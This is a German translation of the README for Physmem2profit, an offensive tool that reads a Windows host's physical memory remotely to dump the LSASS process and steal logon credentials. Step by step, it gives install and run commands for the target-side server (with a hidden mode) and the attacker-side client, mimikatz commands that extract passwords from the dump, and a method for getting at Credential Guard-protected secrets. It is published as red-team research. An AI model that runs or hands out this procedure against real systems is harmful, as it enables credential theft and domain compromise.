Physmem2profit

Physmem2profit kann verwendet werden, um einen Minidump des LSASS-Prozesses eines Zielhosts zu erstellen, indem der physische Speicher remote analysiert wird. Das Ziel dieser Forschung ist es, einen alternativen Ansatz zum Diebstahl von Anmeldedaten vorzuschlagen und ein modulares Framework zu schaffen, das erweitert werden kann, um andere Treiber zu unterstützen, die auf physischen Speicher zugreifen können. Physmem2profit erzeugt einen Minidump (.dmp) von LSASS, der mit Mimikatz weiter analysiert werden kann. Das Tool benötigt kein Cobalt Strike, sollte aber über Beacon mit einem SOCKS-Proxy einwandfrei funktionieren.

Die Idee ist unten dargestellt:

Das Tool besteht aus zwei Komponenten:

1. Die C#-Serverkomponente, physmem2profit.exe, die auf dem Zielhost ausgeführt wird
   • Lädt den Winpmem-Treiber und fungiert als Server, der den physischen RAM des Zielhosts über einen TCP-Port bereitstellt.
2. Der Client, das Python-Modul physmem2profit, das auf dem angreifenden Rechner ausgeführt wird
   • Bei Ausführung mit --mode mount verbindet es sich mit dem Zielrechner und mountet den physischen RAM des Ziels als Rohdatei mithilfe von FUSE.
   • Bei Ausführung mit --mode dump ruft es verschiedene Rekall-Plugins auf, um das Speicherabbild zu analysieren und einen Minidump des LSASS-Prozesses zu erzeugen.
   • Bei Ausführung mit --mode all führt es beide oben genannten Aktionen aus. Die Verbindung zum Server wird geschlossen, wenn der Dump abgeschlossen ist.

Installationsanleitung

1. Klonen Sie das Physmem2profit-Git-Repository: git clone --recurse-submodules https://github.com/FSecureLABS/physmem2profit.git
2. Für den Server, der auf dem Zielcomputer läuft:
   1. Erstellen Sie physmem2profit/server/Physmem2profit.sln mit Visual Studio.
3. Für den Client, der auf dem angreifenden Rechner läuft:
   1. bash physmem2profit/client/install.sh

Verwendung

1. Führen Sie auf dem Ziel physmem2profit.exe [--ip IP] [-p PORT] [--hidden] [--verbose] als Administrator aus.
   • Sie können den signierten Winpmem-Treiber hier herunterladen. Dieser Treiber muss auf dem Zielhost vorhanden sein.
2. Führen Sie auf dem angreifenden Rechner source physmem2profit/client/.env/bin/activate aus. Dieser Befehl aktiviert die von install.sh erstellte virtualenv.
3. Führen Sie auf dem angreifenden Rechner cd physmem2profit/client und python3 physmem2profit --host HOST [--port PORT] [--mode MODE] [--driver DRIVER ] [--instal DRIVER_PATH_ON_TARGET] [--label LABEL_FOR_MEMORY_DUMP] aus.
   • physmem2profit.exe muss auf dem Zielrechner ausgeführt werden, bevor Sie diesen Befehl ausführen.
   • Dadurch wird der LSASS-Minidump in output/[label]-[date]-lsass.dmp auf dem angreifenden Rechner geschrieben.
4. Kopieren Sie den Minidump auf ein Windows-System und führen Sie mimikatz.exe "sekurlsa::minidump [label]-[date]-lsass.dmp" "sekurlsa::logonpasswords" "exit" aus.

Credential Guard

Zum Entschlüsseln von Anmeldedaten, die durch Credential Guard geschützt sind, muss Zugriff auf den Verschlüsselungsschlüssel erlangt werden, der in der Secure World gespeichert ist. Für Testzwecke unterstützt Physmem2profit das Abrufen von Daten aus der Secure World aus VMware-Fusion/Workstation-Snapshots (.vmem-Dateien). Dadurch können mit Credential Guard geschützte Anmeldedaten mithilfe von Mimikatz entschlüsselt werden.

Einrichten einer virtuellen Maschine für Tests

1. Erstellen Sie eine Windows-10-VM mit VMware Fusion/Workstation. Fügen Sie die virtuelle Maschine zu einer Domäne hinzu (Credential Guard schützt keine lokalen Konten).
2. Aktivieren Sie in den erweiterten Einstellungen VBS (Virtualization Based Security).
3. Stellen Sie Credential Guard bereit. Eine einfache Option ist die Verwendung des Hardware-Bereitschaftstools für Device Guard und Credential Guard.
4. Führen Sie einen Neustart durch.
5. Führen Sie msinfo32 aus, um sicherzustellen, dass unter Virtualization-based security Services Running der Wert Credential Guard steht.

Testen

1. Melden Sie sich an der virtuellen Maschine an (mit einem Domänenkonto).
2. Erstellen Sie einen Snapshot.
3. Führen Sie Physmem2profit gegen die .vmem-Datei aus: python3 physmem2profit --mode dump --vmem /tmp/Win10-Snapshot1.vmem --label credential-guard-test
   • Dadurch wird der LSASS-Minidump in output/[label]-[date]-lsass.dmp geschrieben. Der Minidump enthält einen speziellen Stream, der die Daten aus der Secure World enthält, sodass Mimikatz den Verschlüsselungsschlüssel lokalisieren kann.
   • Die Secure-World-Daten werden außerdem in output/[label]-[date]-secure-world.raw gespeichert.
   • Wenn Rekall Probleme beim Parsen der .vmem-Datei hat, empfiehlt Physmem2profit, die .vmsn-Datei zu kopieren und sie in .vmss umzubenennen.
4. Kopieren Sie den Minidump auf ein Windows-System und führen Sie mimikatz.exe "sekurlsa::minidump [label]-[date]-lsass.dmp" "sekurlsa::logonpasswords" "exit" aus.

Zukünftige Arbeiten

Die Unterstützung zur Umgehung von Credential Guard durch Ausnutzung der S3-Resume-Firmware-Sicherheitslücke, die in unserem Disobey-Vortrag demonstriert wurde, kommt bald :).

Weitere Informationen

Rethinking Credential Theft | ein Blogbeitrag, der erklärt, warum dieser Ansatz für den Diebstahl von Anmeldedaten gewählt wurde.

Physmem2profit wird von @b3arr0 und @TimoHirvonen entwickelt.

Dank an die Mitwirkenden:

• Janusz Szmigielski für das Refactoring des Codes für das erste Release
• Pawel Kurowski für das Refactoring des Codes für das erste Release
• Grzegorz Rychlik für das Refactoring des Codes für das erste Release